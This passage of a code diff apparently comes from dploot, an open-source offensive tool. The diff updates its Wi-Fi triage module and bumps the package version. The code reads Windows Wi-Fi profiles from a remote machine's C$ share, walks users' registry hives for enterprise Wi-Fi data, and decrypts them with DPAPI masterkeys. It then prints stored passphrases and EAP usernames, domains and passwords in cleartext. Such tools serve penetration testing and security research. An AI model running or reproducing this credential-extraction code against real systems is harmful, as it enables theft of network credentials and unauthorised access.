print("EAP Type:\t%s" % self.eap_type) if self.eap_username is not None and self.eap_password is not None: - print('Credentials:\t%s:%s' % (self.eap_username, self.eap_password)) + print("Credentials:\t", end="") + if self.eap_domain is not None and len(self.eap_domain) != 0: + print("%s/" % self.eap_domain, end="") + print(f"{self.eap_username}:{self.eap_password}") print() self.dump_all_xml(self.eap_host_config) - elif self.auth.upper() == 'OPEN': - print('AuthType:\t%s' % self.auth.upper()) - print('Encryption:\t%s' % self.encryption.upper()) + elif self.auth.upper() == "OPEN": + print("AuthType:\t%s" % self.auth.upper()) + print("Encryption:\t%s" % self.encryption.upper()) print() - def dump_all_xml(self,node, n: int = 0) -> None: + def dump_all_xml(self, node, n: int = 0) -> None: key = node.tag if type(node) is objectify.ObjectifiedElement: - key = key.split("}")[1] if '}' in key else key - print(' '*n+key+":") - for element in node.iterchildren() : - self.dump_all_xml(element, n+1) + key = key.split("}")[1] if "}" in key else key + print(" " * n + key + ":") + for element in node.iterchildren(): + self.dump_all_xml(element, n + 1) else: - key = key.split("}")[1] if '}' in key else key - print("%s%s: %s" % (' '*n, key, node.text)) - - + key = key.split("}")[1] if "}" in key else key + print(f"{' ' * n}{key}: {node.text}") def dump_quiet(self) -> None: - if self.auth.upper() == 'OPEN': - print("[WIFI] %s - OPEN" % (self.ssid)) - elif self.auth.upper() in ['WPAPSK', 'WPA2PSK','WPA3SAE']: - print("[WIFI] %s - %s - Passphrase: %s" % (self.ssid, self.auth.upper(), self.password)) - elif self.auth.upper() in ['WPA', 'WPA2']: + if self.auth.upper() == "OPEN": + print(f"[WIFI] {self.ssid} - OPEN") + elif self.auth.upper() in ["WPAPSK", "WPA2PSK", "WPA3SAE"]: + print(f"[WIFI] {self.ssid} - {self.auth.upper()} - Passphrase: {self.password}") + elif self.auth.upper() in ["WPA", "WPA2"]: if self.eap_username is not None and self.eap_password is not None: - print("[WIFI] %s - WPA EAP - %s - %s:%s" % (self.ssid, self.eap_type, self.eap_username, self.eap_password)) + print( + f"[WIFI] {self.ssid} - WPA EAP - {self.eap_type} - {self.eap_username}:{self.eap_password}" + ) else: - print("[WIFI] %s - WPA EAP - %s" % (self.ssid, self.eap_type)) - else: - print("[WIFI] %s - %s" % (self.auth.upper(), self.ssid)) + print(f"[WIFI] {self.ssid} - WPA EAP - {self.eap_type}") + else: + print(f"[WIFI] {self.auth.upper()} - {self.ssid}") -class WifiTriage: - false_positive = ['.','..', 'desktop.ini','Public','Default','Default User','All Users'] +class WifiTriage: + false_positive = [ + ".", + "..", + "desktop.ini", + "Public", + "Default", + "Default User", + "All Users", + ] system_wifi_generic_path = "ProgramData\\Microsoft\\Wlansvc\\Profiles\\Interfaces" - share = 'C$' - eap_profiles_key = "SOFTWARE\\Microsoft\\Wlansvc\\Profiles\\%s" + share = "C$" + + eap_profiles_keys = ( + "SOFTWARE\\Microsoft\\Wlansvc\\Profiles", + "SOFTWARE\\Microsoft\\Wlansvc\\UserData\\Profiles", + ) - def __init__(self, target: Target, conn: DPLootSMBConnection, masterkeys: List[Masterkey]) -> None: + def __init__( + self, + target: Target, + conn: DPLootSMBConnection, + masterkeys: List[Masterkey], + per_profile_callback: Any = None, + ) -> None: self.target = target self.conn = conn - - self.looted_files = dict() + + self.looted_files = {} self.masterkeys = masterkeys + self.per_profile_callback = per_profile_callback def triage_wifi(self) -> List[WifiCred]: - wifi_creds = list() + wifi_creds = [] try: - wifi_dir = self.conn.remote_list_dir(self.share, self.system_wifi_generic_path) + wifi_dir = self.conn.remote_list_dir( + self.share, self.system_wifi_generic_path + ) if wifi_dir is not None: - for dir in wifi_dir: - if dir.is_directory() > 0 and dir.get_longname() not in self.false_positive: - wifi_interface_path = ntpath.join(self.system_wifi_generic_path,dir.get_longname()) - wifi_interface_dir = self.conn.remote_list_dir(self.share, wifi_interface_path) + for directory in wifi_dir: + if ( + directory.is_directory() > 0 + and directory.get_longname() not in self.false_positive + ): + wifi_interface_path = ntpath.join( + self.system_wifi_generic_path, directory.get_longname() + ) + wifi_interface_dir = self.conn.remote_list_dir( + self.share, wifi_interface_path + ) for file in wifi_interface_dir: filename = file.get_longname() - if file.is_directory() == 0 and filename not in self.false_positive and filename[-4:] == '.xml': - wifi_interface_filepath = ntpath.join(wifi_interface_path, filename) - logging.debug("Found Wifi connection file: \\\\%s\\%s\\%s" % (self.target.address,self.share,wifi_interface_filepath)) - wifi_interface_data = self.conn.readFile(self.share, wifi_interface_filepath) - self.looted_files[filename] = wifi_interface_data - + if ( + file.is_directory() == 0 + and filename not in self.false_positive + and filename[-4:] == ".xml" + ): + wifi_interface_filepath = ntpath.join( + wifi_interface_path, filename + ) + logging.debug( + f"Found Wifi connection file: \\\\{self.target.address}\\{self.share}\\{wifi_interface_filepath}" + ) + wifi_interface_data = self.conn.readFile( + self.share, wifi_interface_filepath, looted_files=self.looted_files + ) main = objectify.fromstring(wifi_interface_data) - + ssid = main.SSIDConfig.SSID.name.text - auth_type = main.MSM.security.authEncryption.authentication.text - encryption = main.MSM.security.authEncryption.encryption.text + auth_type = ( + main.MSM.security.authEncryption.authentication.text + ) + encryption = ( + main.MSM.security.authEncryption.encryption.text + ) + + wifi_profile = None - if auth_type in ['WPA2PSK','WPAPSK','WPA3SAE']: - + if auth_type in ["WPA2PSK", "WPAPSK", "WPA3SAE"]: dpapi_blob = main.MSM.security.sharedKey.keyMaterial - masterkey = find_masterkey_for_blob(unhexlify(dpapi_blob.text), masterkeys=self.masterkeys) - password = '' + masterkey = find_masterkey_for_blob( + unhexlify(dpapi_blob.text), + masterkeys=self.masterkeys, + ) + password = "" if masterkey is not None: - password = decrypt_blob(unhexlify(dpapi_blob.text), masterkey=masterkey) - wifi_creds.append(WifiCred( + cleartext = decrypt_blob( + unhexlify(dpapi_blob.text), + masterkey=masterkey, + ) + if cleartext is not None: + password = cleartext.removesuffix(b"\x00") + wifi_profile = WifiCred( ssid=ssid, auth=auth_type, encryption=encryption, - password=password, - xml_data=main)) - elif auth_type in ['WPA', 'WPA2']: + password=password.decode( + "latin-1", errors="backslashreplace" + ), + xml_data=main, + ) + elif auth_type in ["WPA", "WPA2"]: creds = self.triage_eap_creds(filename[:-4]) eap_username = None eap_password = None + eap_domain = None if creds is not None: - eap_username = creds[0].decode('latin-1') - eap_password = creds[1].decode('latin-1') - wifi_creds.append(WifiCred( + eap_username, eap_domain, eap_password = ( + _.decode( + "latin-1", errors="backslashreplace" + ) + for _ in creds + ) + wifi_profile = WifiCred( ssid=ssid, auth=auth_type, encryption=encryption, xml_data=main, eap_username=eap_username, - eap_password=eap_password)) + eap_domain=eap_domain, + eap_password=eap_password, + ) else: - wifi_creds.append(WifiCred( + wifi_profile = WifiCred( ssid=ssid, auth=auth_type, encryption=encryption, - xml_data=main)) + xml_data=main, + ) + + wifi_creds.append(wifi_profile) + if self.per_profile_callback is not None: + self.per_profile_callback(wifi_profile) except Exception as e: if logging.getLogger().level == logging.DEBUG: import traceback + traceback.print_exc() - logging.debug(str(e)) - pass + logging.debug(f"{__name__}: {e!s}") return wifi_creds - - def triage_eap_creds(self, eap_profile): + + def triage_eap_creds(self, eap_profile) -> list[bytes]: try: - self.conn.enable_remoteops() - regKey = self.eap_profiles_key % eap_profile - ans = rrp.hOpenLocalMachine(self.conn.remote_ops._RemoteOperations__rrp) - regHandle = ans['phKey'] - ans = rrp.hBaseRegOpenKey(self.conn.remote_ops._RemoteOperations__rrp, regHandle, regKey) - keyHandle = ans['phkResult'] - _, msm_bytes = rrp.hBaseRegQueryValue(self.conn.remote_ops._RemoteOperations__rrp, keyHandle, 'MSMUserData') + if self.conn.local_session: + msm_bytes = None + + # For each user: + for user_sid, profile_path in self.conn.getUsersProfiles().items(): + # open user registry file in user profile's dir/NTUser.dat + profile_path = profile_path.replace("C:\\", "").replace( + "\\", os.sep + ) + reg_file_path = os.path.join( + self.target.local_root, profile_path, "NTUSER.DAT" + ) + + reg = None + + # Workaround for a bug in impacket.winregistry.Registry: + # if Registry() is called and raises an exception during initialisation (that you can handle), + # the destruction of the (not initialized) Registry instance will raise an exception (that you cannot handle) + if not os.path.isfile(reg_file_path): + continue + + try: + reg = Registry(reg_file_path, isRemote=False) + except Exception as e: + logging.debug( + f"Exception while instantiating Registry({reg_file_path}): {e}. Continuing." + ) + continue + + # check for network profile in both eap_profiles_keys + for eap_profile_key in self.eap_profiles_keys: + # retrieve MSMUserData + msm_value = ntpath.join( + eap_profile_key, eap_profile, "MSMUserData" + ) + msm_tuple = reg.getValue(msm_value) + if msm_tuple is None: + continue + msm_bytes = msm_tuple[1] + break + + if msm_bytes is None: + # we searched the network profile in all found users, and could not find it. + logging.debug("Could not find corresponding registry value") + return None + + logging.debug( + f"Found profile in registry at HKU\\{user_sid}\\{ntpath.dirname(msm_value)}" + ) + + else: + self.conn.enable_remoteops() + dce = self.conn.remote_ops._RemoteOperations__rrp + + # Open HKEY_USERS + ans = rrp.hOpenUsers(dce) + hRootKey = ans["phKey"] + + # for each subkey: + ans = rrp.hBaseRegOpenKey( + dce, + hRootKey, + "", + samDesired=rrp.MAXIMUM_ALLOWED | rrp.KEY_ENUMERATE_SUB_KEYS, + ) + keyHandle = ans["phkResult"] + user_sids = set() + i = 0 + while True: + try: + enum_ans = rrp.hBaseRegEnumKey(dce, keyHandle, i) + i += 1 + user_sids.add(enum_ans["lpNameOut"][:-1]) + except rrp.DCERPCSessionError as e: + if e.get_error_code() == ERROR_NO_MORE_ITEMS: + break + except Exception as e: + import traceback + + traceback.print_exc() + logging.error(str(e)) + rrp.hBaseRegCloseKey(dce, keyHandle) + ans = keyHandle = None + + found = False + for sid, eap_profile_key in itertools.product( + user_sids, self.eap_profiles_keys + ): + # look for profile + subKey = f"{sid}\\{eap_profile_key}\\{eap_profile}" + try: + ans = rrp.hBaseRegOpenKey(dce, hRootKey, subKey) + keyHandle = ans["phkResult"] + found = True + break + except rrp.DCERPCSessionError as e: + if e.get_error_code() == ERROR_FILE_NOT_FOUND: + continue + except Exception as e: + import traceback + + traceback.print_exc() + logging.error(str(e)) + + if not found: + logging.debug("Could not find corresponding registry key") + return None + + logging.debug(f"Found profile in registry at HKU\\{subKey}") + + # retrieve MSMUserData + keyHandle = ans["phkResult"] + _, msm_bytes = rrp.hBaseRegQueryValue( + self.conn.remote_ops._RemoteOperations__rrp, + keyHandle, + "MSMUserData", + ) + + rrp.hBaseRegCloseKey(dce, keyHandle) + ans = keyHandle = None + masterkey = find_masterkey_for_blob(msm_bytes, masterkeys=self.masterkeys) - if masterkey is not None: - blob = decrypt_blob(blob_bytes=msm_bytes,masterkey=masterkey) - username = blob[176:].split(b'\0')[0] - password = blob[432:].split(b'\0')[1] - return (username, password) + if masterkey is None: + return None + + blob = decrypt_blob(blob_bytes=msm_bytes, masterkey=masterkey) + # FIXME: it seems decrypt_blob sometimes adds zeroes at then end of the cleartext. + # when the result is passed to decrypt_blob again later, the DPAPI_BLOB built from blob_bytes + # will be valid, but its .rawData will contain extra bytes + + # This (loosely) follows what is described in "Dumping Stored Enterprise Wifi Credentials with Invoke-WifiSquid" + # https://kylemistele.medium.com/dumping-stored-enterprise-wifi-credentials-with-invoke-wifisquid-5a7fe76f800 , + + prefix = blob[168:176] + username = blob[176:].split(b"\0")[0] + domain = blob[176:].split(b"\0")[1] + password = blob[432:].split(b"\0")[1] + + # if prefix is [0x03, 0x00, 0x00, 0x00, 0x20, 0x00, 0x00, 0x00] the password is not encrypted + if prefix == b"\x04\x00\x00\x00\x02\x00\x00\x00": + index = blob[176:].find(b"\x01\x00\x00\x00\xd0\x8c\x9d\xdf\x01") + if index == -1: + logging.debug("Couldn't find password signature!") + return (username, domain, password) + index += 176 + msm_bytes = blob[index:] + masterkey = find_masterkey_for_blob( + msm_bytes, masterkeys=self.masterkeys + ) + + if masterkey is None: + logging.info("Couldn't find key to decrypt password.") + logging.info( + "Try saving machinemasterkeys and masterkeys in a file and launch again with this file as mkfile." + ) + return (username, domain, password) + + found_password = decrypt_blob(blob_bytes=msm_bytes, masterkey=masterkey) + if found_password is not None: + password = found_password.rstrip(b"\x00") + return (username, domain, password) + except Exception as e: if logging.getLogger().level == logging.DEBUG: import traceback + traceback.print_exc() logging.debug(str(e)) return None - return None \ No newline at end of file + return None diff --git a/pyproject.toml b/pyproject.toml index 6957bab..f3ee46c 100644 --- a/pyproject.toml +++ b/pyproject.toml @@ -1,6 +1,6 @@ [tool.poetry] name = "dploot" -version = "2.7.4" +version = "3.0.0" description = "DPAPI looting remotely in Python" readme = "README.md" homepage = "https://github.com/zblurx/dploot" @@ -31,6 +31,55 @@ cryptography = ">=40.0.1" pyasn1 = "^0.4.8" lxml = "4.9.3" +[tool.poetry.group.dev.dependencies] +ruff = "^0.5.3" + +[tool.ruff] +# From NetExec +# Ruff doesn't enable pycodestyle warnings (`W`) or +# McCabe complexity (`C901`) by default. +# Other options: pep8-naming (N), flake8-annotations (ANN), flake8-blind-except (BLE), flake8-commas (COM), flake8-pyi (PYI), flake8-pytest-style (PT), flake8-unused-arguments (ARG), etc +# Should tackle flake8-use-pathlib (PTH) at some point +select = ["E", "F", "D", "UP", "YTT", "ASYNC", "B", "A", "C4", "ISC", "ICN", "PIE", "PT", "Q", "RSE", "RET", "SIM", "TID", "ERA", "FLY", "PERF", "FURB", "LOG", "RUF"] +ignore = [ "E501", "F405", "D100", "D101", "D102", "D103", "D104", "D105", "D106", "D107", "D203", "D204", "D205", "D212", "D213", "D400", "D401", "D415", "D417", "D419", "RET503", "RET505", "RET506", "RET507", "RET508", "PERF203", "RUF012", "SIM115"] + +# Allow autofix for all enabled rules (when `--fix`) is provided. +fixable = ["ALL"] +unfixable = [] + +# Exclude a variety of commonly ignored directories. +exclude = [ + ".bzr", + ".direnv", + ".eggs", + ".git", + ".git-rewrite", + ".hg", + ".mypy_cache", + ".nox", + ".pants.d", + ".pytype", + ".ruff_cache", + ".svn", + ".tox", + ".venv", + "__pypackages__", + "_build", + "buck-out", + "build", + "dist", + "node_modules", + "venv", +] +per-file-ignores = {} + +line-length = 65000 + +# Allow unused variables when underscore-prefixed. +dummy-variable-rgx = "^(_+|(_+[a-zA-Z0-9_]*[a-zA-Z0-9]+?))$" + +target-version = "py37" + [build-system] requires = ["poetry-core>=1.0.0"] build-backend = "poetry.core.masonry.api"